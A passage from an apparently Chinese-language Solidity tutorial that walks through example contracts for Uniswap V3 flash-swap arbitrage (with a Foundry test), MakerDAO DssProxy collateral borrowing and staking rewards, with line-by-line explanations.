- 定义了ERC20代币的基本功能,如余额查询、转移和批准。

### 4. **测试合约 (UniswapV3FlashTest)**
- **常量定义**:
  - DAI和WETH的地址,Uniswap池的地址和手续费。

- **`setUp`函数**:
  - 部署`UniswapV3Flash`合约实例。
  - 给用户(地址为11)分配一定数量的DAI,并批准合约使用这些DAI。

- **`test_flash`函数**:
  - 测试闪电贷功能。
  - 记录用户借款前DAI的余额。
  - 用户调用`flash`函数借出DAI。
  - 记录借款后的DAI余额,并计算费用。
  - 使用`console2.log`输出费用。

### 总结
这段代码实现了在Uniswap V3上进行闪电贷的完整流程,用户可以通过`flash`函数借出代币,并在回调中处理费用和偿还。测试合约则验证了闪电贷的功能是否按预期工作,包括借款、费用计算和合约交互。这为开发者提供了在DeFi项目中使用闪电贷的基础框架。



##  Uniswap V3 Flash Swap Arbitrage


Uniswap V3 Flash Swap Arbitrage Example

// SPDX-License-Identifier: MIT pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;

contract UniswapV3FlashSwap { ISwapRouter02 constant router = ISwapRouter02(SWAP_ROUTER_02);

uint160 private constant MIN_SQRT_RATIO = 4295128739;
uint160 private constant MAX_SQRT_RATIO =
    1461446703485210103287273052203988822378723970342;

// DAI / WETH 0.3% swap fee (2000 DAI / WETH)
// DAI / WETH 0.05% swap fee (2100 DAI / WETH)
// 1. Flash swap on pool0 (receive WETH)
// 2. Swap on pool1 (WETH -> DAI)
// 3. Send DAI to pool0
// profit = DAI received from pool1 - DAI repaid to pool0

function flashSwap(
    address pool0,
    uint24 fee1,
    address tokenIn,
    address tokenOut,
    uint256 amountIn
) external {
    bool zeroForOne = tokenIn < tokenOut;
    // 0 -> 1 => sqrt price decrease
    // 1 -> 0 => sqrt price increase
    uint160 sqrtPriceLimitX96 =
        zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;

    bytes memory data = abi.encode(
        msg.sender, pool0, fee1, tokenIn, tokenOut, amountIn, zeroForOne
    );

    IUniswapV3Pool(pool0).swap({
        recipient: address(this),
        zeroForOne: zeroForOne,
        amountSpecified: int256(amountIn),
        sqrtPriceLimitX96: sqrtPriceLimitX96,
        data: data
    });
}

function _swap(
    address tokenIn,
    address tokenOut,
    uint24 fee,
    uint256 amountIn,
    uint256 amountOutMin
) private returns (uint256 amountOut) {
    IERC20(tokenIn).approve(address(router), amountIn);

    ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02
        .ExactInputSingleParams({
        tokenIn: tokenIn,
        tokenOut: tokenOut,
        fee: fee,
        recipient: address(this),
        amountIn: amountIn,
        amountOutMinimum: amountOutMin,
        sqrtPriceLimitX96: 0
    });

    amountOut = router.exactInputSingle(params);
}

function uniswapV3SwapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata data
) external {
    // Decode data
    (
        address caller,
        address pool0,
        uint24 fee1,
        address tokenIn,
        address tokenOut,
        uint256 amountIn,
        bool zeroForOne
    ) = abi.decode(
        data, (address, address, uint24, address, address, uint256, bool)
    );

    uint256 amountOut = zeroForOne ? uint256(-amount1) : uint256(-amount0);

    // pool0 -> tokenIn -> tokenOut (amountOut)
    // Swap on pool 1 (swap tokenOut -> tokenIn)
    uint256 buyBackAmount = _swap({
        tokenIn: tokenOut,
        tokenOut: tokenIn,
        fee: fee1,
        amountIn: amountOut,
        amountOutMin: amountIn
    });

    // Repay pool 0
    uint256 profit = buyBackAmount - amountIn;
    require(profit > 0, "profit = 0");

    IERC20(tokenIn).transfer(pool0, amountIn);
    IERC20(tokenIn).transfer(caller, profit);
}

}

interface ISwapRouter02 { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; }

function exactInputSingle(ExactInputSingleParams calldata params)
    external
    payable
    returns (uint256 amountOut);

}

interface IUniswapV3Pool { function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); }

interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); }

interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; }


Test with Foundry

// SPDX-License-Identifier: MIT pragma solidity 0.8.26;

import {Test, console2} from “forge-std/Test.sol”; import { UniswapV3FlashSwap, IUniswapV3Pool, ISwapRouter02, IERC20, IWETH } from “../../../src/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol”;

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; address constant DAI_WETH_POOL_3000 = 0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8; address constant DAI_WETH_POOL_500 = 0x60594a405d53811d3BC4766596EFD80fd545A270; uint24 constant FEE_0 = 3000; uint24 constant FEE_1 = 500;

contract UniswapV3FlashTest is Test { IERC20 private constant dai = IERC20(DAI); IWETH private constant weth = IWETH(WETH); ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02); IUniswapV3Pool private constant pool0 = IUniswapV3Pool(DAI_WETH_POOL_3000); IUniswapV3Pool private constant pool1 = IUniswapV3Pool(DAI_WETH_POOL_500); UniswapV3FlashSwap private flashSwap;

uint256 private constant DAI_AMOUNT_IN = 10 * 1e18;

function setUp() public {
    flashSwap = new UniswapV3FlashSwap();

    // Create an arbitrage opportunity - make WETH cheaper on pool0
    weth.deposit{value: 500 * 1e18}();
    weth.approve(address(router), 500 * 1e18);
    router.exactInputSingle(
        ISwapRouter02.ExactInputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: FEE_0,
            recipient: address(0),
            amountIn: 500 * 1e18,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        })
    );
}

function test_flashSwap() public {
    uint256 bal0 = dai.balanceOf(address(this));
    flashSwap.flashSwap({
        pool0: address(pool0),
        fee1: FEE_1,
        tokenIn: DAI,
        tokenOut: WETH,
        amountIn: DAI_AMOUNT_IN
    });
    uint256 bal1 = dai.balanceOf(address(this));
    uint256 profit = bal1 - bal0;
    assertGt(profit, 0, "profit = 0");
    console2.log("Profit %e", profit);
}

}


##  Uniswap V3 Flash Swap Arbitrage Example

// SPDX-License-Identifier: MIT pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;

contract UniswapV3FlashSwap { ISwapRouter02 constant router = ISwapRouter02(SWAP_ROUTER_02);

uint160 private constant MIN_SQRT_RATIO = 4295128739;
uint160 private constant MAX_SQRT_RATIO =
    1461446703485210103287273052203988822378723970342;

// DAI / WETH 0.3% swap fee (2000 DAI / WETH)
// DAI / WETH 0.05% swap fee (2100 DAI / WETH)
// 1. Flash swap on pool0 (receive WETH)
// 2. Swap on pool1 (WETH -> DAI)
// 3. Send DAI to pool0
// profit = DAI received from pool1 - DAI repaid to pool0

function flashSwap(
    address pool0,
    uint24 fee1,
    address tokenIn,
    address tokenOut,
    uint256 amountIn
) external {
    bool zeroForOne = tokenIn < tokenOut;
    // 0 -> 1 => sqrt price decrease
    // 1 -> 0 => sqrt price increase
    uint160 sqrtPriceLimitX96 =
        zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;

    bytes memory data = abi.encode(
        msg.sender, pool0, fee1, tokenIn, tokenOut, amountIn, zeroForOne
    );

    IUniswapV3Pool(pool0).swap({
        recipient: address(this),
        zeroForOne: zeroForOne,
        amountSpecified: int256(amountIn),
        sqrtPriceLimitX96: sqrtPriceLimitX96,
        data: data
    });
}

function _swap(
    address tokenIn,
    address tokenOut,
    uint24 fee,
    uint256 amountIn,
    uint256 amountOutMin
) private returns (uint256 amountOut) {
    IERC20(tokenIn).approve(address(router), amountIn);

    ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02
        .ExactInputSingleParams({
        tokenIn: tokenIn,
        tokenOut: tokenOut,
        fee: fee,
        recipient: address(this),
        amountIn: amountIn,
        amountOutMinimum: amountOutMin,
        sqrtPriceLimitX96: 0
    });

    amountOut = router.exactInputSingle(params);
}

function uniswapV3SwapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata data
) external {
    // Decode data
    (
        address caller,
        address pool0,
        uint24 fee1,
        address tokenIn,
        address tokenOut,
        uint256 amountIn,
        bool zeroForOne
    ) = abi.decode(
        data, (address, address, uint24, address, address, uint256, bool)
    );

    uint256 amountOut = zeroForOne ? uint256(-amount1) : uint256(-amount0);

    // pool0 -> tokenIn -> tokenOut (amountOut)
    // Swap on pool 1 (swap tokenOut -> tokenIn)
    uint256 buyBackAmount = _swap({
        tokenIn: tokenOut,
        tokenOut: tokenIn,
        fee: fee1,
        amountIn: amountOut,
        amountOutMin: amountIn
    });

    // Repay pool 0
    uint256 profit = buyBackAmount - amountIn;
    require(profit > 0, "profit = 0");

    IERC20(tokenIn).transfer(pool0, amountIn);
    IERC20(tokenIn).transfer(caller, profit);
}

}

interface ISwapRouter02 { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; }

function exactInputSingle(ExactInputSingleParams calldata params)
    external
    payable
    returns (uint256 amountOut);

}

interface IUniswapV3Pool { function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); }

interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); }

interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; }

Test with Foundry

// SPDX-License-Identifier: MIT pragma solidity 0.8.26;

import {Test, console2} from “forge-std/Test.sol”; import { UniswapV3FlashSwap, IUniswapV3Pool, ISwapRouter02, IERC20, IWETH } from “../../../src/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol”;

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; address constant DAI_WETH_POOL_3000 = 0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8; address constant DAI_WETH_POOL_500 = 0x60594a405d53811d3BC4766596EFD80fd545A270; uint24 constant FEE_0 = 3000; uint24 constant FEE_1 = 500;

contract UniswapV3FlashTest is Test { IERC20 private constant dai = IERC20(DAI); IWETH private constant weth = IWETH(WETH); ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02); IUniswapV3Pool private constant pool0 = IUniswapV3Pool(DAI_WETH_POOL_3000); IUniswapV3Pool private constant pool1 = IUniswapV3Pool(DAI_WETH_POOL_500); UniswapV3FlashSwap private flashSwap;

uint256 private constant DAI_AMOUNT_IN = 10 * 1e18;

function setUp() public {
    flashSwap = new UniswapV3FlashSwap();

    // Create an arbitrage opportunity - make WETH cheaper on pool0
    weth.deposit{value: 500 * 1e18}();
    weth.approve(address(router), 500 * 1e18);
    router.exactInputSingle(
        ISwapRouter02.ExactInputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: FEE_0,
            recipient: address(0),
            amountIn: 500 * 1e18,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        })
    );
}

function test_flashSwap() public {
    uint256 bal0 = dai.balanceOf(address(this));
    flashSwap.flashSwap({
        pool0: address(pool0),
        fee1: FEE_1,
        tokenIn: DAI,
        tokenOut: WETH,
        amountIn: DAI_AMOUNT_IN
    });
    uint256 bal1 = dai.balanceOf(address(this));
    uint256 profit = bal1 - bal0;
    assertGt(profit, 0, "profit = 0");
    console2.log("Profit %e", profit);
}

}





这段代码展示了如何在Uniswap V3中进行闪电交换套利的实现和测试。以下是对代码的详细解析:

### UniswapV3FlashSwap合约

#### 1. **常量定义**
- `SWAP_ROUTER_02`:定义了Uniswap V3的交换路由器地址。
- `MIN_SQRT_RATIO`和`MAX_SQRT_RATIO`:定义了Uniswap V3的最小和最大平方根价格比率。

#### 2. **闪电交换函数**
```solidity
function flashSwap(
    address pool0,
    uint24 fee1,
    address tokenIn,
    address tokenOut,
    uint256 amountIn
) external {
    bool zeroForOne = tokenIn < tokenOut;
    uint160 sqrtPriceLimitX96 = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;

    bytes memory data = abi.encode(
        msg.sender, pool0, fee1, tokenIn, tokenOut, amountIn, zeroForOne
    );

    IUniswapV3Pool(pool0).swap({
        recipient: address(this),
        zeroForOne: zeroForOne,
        amountSpecified: int256(amountIn),
        sqrtPriceLimitX96: sqrtPriceLimitX96,
        data: data
    });
}
  • 此函数触发闪电交换,借入代币并指定要交换的池和费用。

8.26.0.1 3. 交换功能

function _swap(
    address tokenIn,
    address tokenOut,
    uint24 fee,
    uint256 amountIn,
    uint256 amountOutMin
) private returns (uint256 amountOut) {
    IERC20(tokenIn).approve(address(router), amountIn);
    ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02.ExactInputSingleParams({
        tokenIn: tokenIn,
        tokenOut: tokenOut,
        fee: fee,
        recipient: address(this),
        amountIn: amountIn,
        amountOutMinimum: amountOutMin,
        sqrtPriceLimitX96: 0
    });
    amountOut = router.exactInputSingle(params);
}
  • 私有函数,执行在另一个池中进行的实际交换。

8.26.0.2 4. 回调函数

function uniswapV3SwapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata data
) external {
    // Decode data
    // 处理闪电交换的回调,计算收益并偿还借入的代币
}
  • 在交换完成后,处理偿还和计算套利利润。

8.26.1 接口定义

  • ISwapRouter02IUniswapV3PoolIERC20IWETH:定义了交换路由、Uniswap池和ERC20代币的基本操作。

8.26.2 测试合约 (UniswapV3FlashTest)

8.26.2.1 1. 常量定义

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
// 定义Uniswap池和手续费
  • 这些地址和常量用于测试合约的各种操作。

8.26.2.2 2. setUp函数

function setUp() public {
    flashSwap = new UniswapV3FlashSwap();
    weth.deposit{value: 500 * 1e18}();
    weth.approve(address(router), 500 * 1e18);
    router.exactInputSingle(
        ISwapRouter02.ExactInputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: FEE_0,
            recipient: address(0),
            amountIn: 500 * 1e18,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        })
    );
}
  • 初始化闪电交换合约,并通过在池中进行初始交易创造套利机会。

8.26.2.3 3. test_flashSwap函数

function test_flashSwap() public {
    uint256 bal0 = dai.balanceOf(address(this));
    flashSwap.flashSwap({
        pool0: address(pool0),
        fee1: FEE_1,
        tokenIn: DAI,
        tokenOut: WETH,
        amountIn: DAI_AMOUNT_IN
    });
    uint256 bal1 = dai.balanceOf(address(this));
    uint256 profit = bal1 - bal0;
    assertGt(profit, 0, "profit = 0");
    console2.log("Profit %e", profit);
}
  • 测试闪电交换,计算套利收益并确保利润大于0。

8.26.3 总结

该代码实现了一个通过闪电交换在Uniswap V3中进行套利的完整示例。合约通过借入代币,进行市场交换,然后偿还借款并提取利润,提供了在DeFi领域执行套利交易的基础框架。

8.28 DAI Proxy Examples

Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using DssProxy.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
address constant PROXY_ACTIONS = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038;
address constant CDP_MANAGER = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address constant JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address constant JOIN_ETH_C = 0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E;
address constant JOIN_DAI = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;

bytes32 constant ETH_C =
    0x4554482d43000000000000000000000000000000000000000000000000000000;

contract DaiProxy {
    IERC20 private constant dai = IERC20(DAI);
    address public immutable proxy;
    uint256 public immutable cdpId;

    constructor() {
        proxy = IDssProxyRegistry(PROXY_REGISTRY).build();
        bytes32 res = IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(IDssProxyActions.open, (CDP_MANAGER, ETH_C, proxy))
        );
        cdpId = uint256(res);
    }

    receive() external payable {}

    function lockEth() external payable {
        IDssProxy(proxy).execute{value: msg.value}(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.lockETH, (CDP_MANAGER, JOIN_ETH_C, cdpId)
            )
        );
    }

    function borrow(uint256 daiAmount) external {
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.draw,
                (CDP_MANAGER, JUG, JOIN_DAI, cdpId, daiAmount)
            )
        );
    }

    function repay(uint256 daiAmount) external {
        dai.approve(proxy, daiAmount);
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.wipe, (CDP_MANAGER, JOIN_DAI, cdpId, daiAmount)
            )
        );
    }

    function repayAll() external {
        dai.approve(proxy, type(uint256).max);
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.wipeAll, (CDP_MANAGER, JOIN_DAI, cdpId)
            )
        );
    }

    function unlockEth(uint256 ethAmount) external {
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.freeETH,
                (CDP_MANAGER, JOIN_ETH_C, cdpId, ethAmount)
            )
        );
    }
}

interface IDssProxyRegistry {
    function build() external returns (address proxy);
}

interface IDssProxy {
    function execute(address target, bytes memory data)
        external
        payable
        returns (bytes32 res);
}

interface IDssProxyActions {
    function open(address cdpManager, bytes32 ilk, address usr)
        external
        returns (uint256 cdpId);
    function lockETH(address cdpManager, address ethJoin, uint256 cdpId)
        external
        payable;
    function draw(
        address cdpManager,
        address jug,
        address daiJoin,
        uint256 cdpId,
        uint256 daiAmount
    ) external;
    function wipe(
        address cdpManager,
        address daiJoin,
        uint256 cdpId,
        uint256 daiAmount
    ) external;
    function wipeAll(address cdpManager, address daiJoin, uint256 cdpId)
        external;
    function freeETH(
        address cdpManager,
        address ethJoin,
        uint256 cdpId,
        uint256 collateralAmount
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address dst, uint256 amount) external returns (bool);
    function transferFrom(address src, address dst, uint256 amount)
        external
        returns (bool);
}

这段代码实现了一个与以太坊DeFi协议互动的合约,主要是用于管理MakerDAO的抵押贷款。以下是代码的详细解析:

8.28.1 合约声明和常量

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
address constant PROXY_ACTIONS = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038;
address constant CDP_MANAGER = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address constant JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address constant JOIN_ETH_C = 0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E;
address constant JOIN_DAI = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;

bytes32 constant ETH_C =
    0x4554482d43000000000000000000000000000000000000000000000000000000;
  • 使用Solidity 0.8.26版本。
  • 定义了一些常量,包括DAI代币地址、代理合约地址、CDP(抵押债仓)管理器地址等。
  • ETH_C是ETH抵押的标识符。

8.28.2 DaiProxy合约

contract DaiProxy {
    IERC20 private constant dai = IERC20(DAI);
    address public immutable proxy;
    uint256 public immutable cdpId;
  • DaiProxy合约用于与MakerDAO的CDP系统交互。
  • dai是对DAI代币的接口引用,proxy是存储的代理合约地址,cdpId是当前CDP的ID。

8.28.2.1 构造函数

constructor() {
    proxy = IDssProxyRegistry(PROXY_REGISTRY).build();
    bytes32 res = IDssProxy(proxy).execute(
        PROXY_ACTIONS,
        abi.encodeCall(IDssProxyActions.open, (CDP_MANAGER, ETH_C, proxy))
    );
    cdpId = uint256(res);
}
  • 构造函数创建了一个新的代理合约,并通过调用open方法来创建一个新的CDP,返回的ID存储在cdpId中。

8.28.2.2 接收以太币

receive() external payable {}
  • receive函数允许合约接收以太币。

8.28.3 函数定义

  1. 锁定ETH

    function lockEth() external payable {
        IDssProxy(proxy).execute{value: msg.value}(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.lockETH, (CDP_MANAGER, JOIN_ETH_C, cdpId)
            )
        );
    }
    • lockEth函数用于将以太币锁定到CDP中,允许用户发送以太币并执行相关操作。
  2. 借DAI

    function borrow(uint256 daiAmount) external {
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.draw,
                (CDP_MANAGER, JUG, JOIN_DAI, cdpId, daiAmount)
            )
        );
    }
    • borrow函数允许用户借用指定数量的DAI。
  3. 还款

    function repay(uint256 daiAmount) external {
        dai.approve(proxy, daiAmount);
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.wipe, (CDP_MANAGER, JOIN_DAI, cdpId, daiAmount)
            )
        );
    }
    • repay函数用于偿还一定数量的DAI,需先批准代理合约的支出。
  4. 偿还全部

    function repayAll() external {
        dai.approve(proxy, type(uint256).max);
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.wipeAll, (CDP_MANAGER, JOIN_DAI, cdpId)
            )
        );
    }
    • repayAll函数用于偿还所有DAI。
  5. 解锁ETH

    function unlockEth(uint256 ethAmount) external {
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.freeETH,
                (CDP_MANAGER, JOIN_ETH_C, cdpId, ethAmount)
            )
        );
    }
    • unlockEth函数允许用户从CDP中解锁指定数量的ETH。

8.28.4 接口定义

这些接口定义了合约所需的各种外部合约函数,以便进行调用。

  • IDssProxyRegistry用于创建新的代理。
  • IDssProxy用于执行与代理合约的交互。
  • IDssProxyActions定义了与CDP管理相关的各种操作(如打开CDP、锁定ETH、借DAI等)。
  • IERC20是ERC20代币的标准接口。

8.28.5 总结

这段代码实现了一个与MakerDAO的抵押贷款系统交互的合约,使用户能够创建CDP、锁定以太币、借用DAI、偿还贷款以及解锁ETH。合约通过代理合约与MakerDAO协议的相关操作进行交互,从而简化用户的操作流程。

8.29 Staking Rewards

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract StakingRewards {
    IERC20 public immutable stakingToken;
    IERC20 public immutable rewardsToken;

    address public owner;

    // Duration of rewards to be paid out (in seconds)
    uint256 public duration;
    // Timestamp of when the rewards finish
    uint256 public finishAt;
    // Minimum of last updated time and reward finish time
    uint256 public updatedAt;
    // Reward to be paid out per second
    uint256 public rewardRate;
    // Sum of (reward rate * dt * 1e18 / total supply)
    uint256 public rewardPerTokenStored;
    // User address => rewardPerTokenStored
    mapping(address => uint256) public userRewardPerTokenPaid;
    // User address => rewards to be claimed
    mapping(address => uint256) public rewards;

    // Total staked
    uint256 public totalSupply;
    // User address => staked amount
    mapping(address => uint256) public balanceOf;

    constructor(address _stakingToken, address _rewardToken) {
        owner = msg.sender;
        stakingToken = IERC20(_stakingToken);
        rewardsToken = IERC20(_rewardToken);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not authorized");
        _;
    }

    modifier updateReward(address _account) {
        rewardPerTokenStored = rewardPerToken();
        updatedAt = lastTimeRewardApplicable();

        if (_account != address(0)) {
            rewards[_account] = earned(_account);
            userRewardPerTokenPaid[_account] = rewardPerTokenStored;
        }

        _;
    }

    function lastTimeRewardApplicable() public view returns (uint256) {
        return _min(finishAt, block.timestamp);
    }

    function rewardPerToken() public view returns (uint256) {
        if (totalSupply == 0) {
            return rewardPerTokenStored;
        }

        return rewardPerTokenStored
            + (rewardRate * (lastTimeRewardApplicable() - updatedAt) * 1e18)
                / totalSupply;
    }

    function stake(uint256 _amount) external updateReward(msg.sender) {
        require(_amount > 0, "amount = 0");
        stakingToken.transferFrom(msg.sender, address(this), _amount);
        balanceOf[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function withdraw(uint256 _amount) external updateReward(msg.sender) {
        require(_amount > 0, "amount = 0");
        balanceOf[msg.sender] -= _amount;
        totalSupply -= _amount;
        stakingToken.transfer(msg.sender, _amount);
    }

    function earned(address _account) public view returns (uint256) {
        return (
            (
                balanceOf[_account]
                    * (rewardPerToken() - userRewardPerTokenPaid[_account])
            ) / 1e18
        ) + rewards[_account];
    }

    function getReward() external updateReward(msg.sender) {
        uint256 reward = rewards[msg.sender];
        if (reward > 0) {
            rewards[msg.sender] = 0;
            rewardsToken.transfer(msg.sender, reward);
        }
    }

    function setRewardsDuration(uint256 _duration) external onlyOwner {
        require(finishAt < block.timestamp, "reward duration not finished");
        duration = _duration;
    }

    function notifyRewardAmount(uint256 _amount)
        external
        onlyOwner
        updateReward(address(0))
    {
        if (block.timestamp >= finishAt) {
            rewardRate = _amount / duration;
        } else {
            uint256 remainingRewards = (finishAt - block.timestamp) * rewardRate;
            rewardRate = (_amount + remainingRewards) / duration;
        }

        require(rewardRate > 0, "reward rate = 0");
        require(
            rewardRate * duration <= rewardsToken.balanceOf(address(this)),
            "reward amount > balance"
        );

        finishAt = block.timestamp + duration;
        updatedAt = block.timestamp;
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

这段代码实现了一个基本的质押奖励合约,允许用户通过质押代币来获得奖励。以下是对其各个部分的详细解释:

8.29.1 合约声明和状态变量

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract StakingRewards {
    IERC20 public immutable stakingToken;
    IERC20 public immutable rewardsToken;

    address public owner;
  • 合约名称StakingRewards
  • 代币接口stakingToken为质押代币,rewardsToken为奖励代币。
  • 所有者:合约的创建者,拥有某些管理权限。

8.29.2 奖励相关的变量

    uint256 public duration; // 奖励持续时间(秒)
    uint256 public finishAt; // 奖励结束时间
    uint256 public updatedAt; // 上次更新时间
    uint256 public rewardRate; // 每秒奖励
    uint256 public rewardPerTokenStored; // 存储的每个代币奖励
  • duration:设置奖励的持续时间。
  • finishAt:记录何时结束发放奖励。
  • updatedAt:记录上次更新的时间。
  • rewardRate:每秒发放的奖励数量。
  • rewardPerTokenStored:计算已存储的每个代币的奖励。

8.29.3 用户相关的映射

    mapping(address => uint256) public userRewardPerTokenPaid; // 用户的已支付奖励
    mapping(address => uint256) public rewards; // 用户可领取的奖励
  • userRewardPerTokenPaid:用户每个代币所支付的奖励。
  • rewards:用户可以领取的奖励总额。

8.29.4 总质押量和用户质押记录

    uint256 public totalSupply; // 总质押量
    mapping(address => uint256) public balanceOf; // 用户质押金额
  • totalSupply:合约中所有用户质押的总量。
  • balanceOf:记录每个用户质押的金额。

8.29.5 构造函数

    constructor(address _stakingToken, address _rewardToken) {
        owner = msg.sender;
        stakingToken = IERC20(_stakingToken);
        rewardsToken = IERC20(_rewardToken);
    }
  • 初始化合约时设置质押代币和奖励代币的地址,记录合约所有者。

8.29.6 修饰符

    modifier onlyOwner() {
        require(msg.sender == owner, "not authorized");
        _;
    }
  • onlyOwner修饰符用于限制某些函数只能由合约所有者调用。
    modifier updateReward(address _account) {
        rewardPerTokenStored = rewardPerToken();
        updatedAt = lastTimeRewardApplicable();

        if (_account != address(0)) {
            rewards[_account] = earned(_account);
            userRewardPerTokenPaid[_account] = rewardPerTokenStored;
        }

        _;
    }
  • updateReward修饰符在调用某些函数前更新奖励相关的状态。

8.29.7 奖励计算函数

    function lastTimeRewardApplicable() public view returns (uint256) {
        return _min(finishAt, block.timestamp);
    }

    function rewardPerToken() public view returns (uint256) {
        if (totalSupply == 0) {
            return rewardPerTokenStored;
        }

        return rewardPerTokenStored
            + (rewardRate * (lastTimeRewardApplicable() - updatedAt) * 1e18) / totalSupply;
    }
  • lastTimeRewardApplicable返回当前奖励可以发放的时间。
  • rewardPerToken计算每个代币的奖励,如果没有质押的代币,返回存储的奖励。

8.29.8 质押和提取函数

    function stake(uint256 _amount) external updateReward(msg.sender) {
        require(_amount > 0, "amount = 0");
        stakingToken.transferFrom(msg.sender, address(this), _amount);
        balanceOf[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function withdraw(uint256 _amount) external updateReward(msg.sender) {
        require(_amount > 0, "amount = 0");
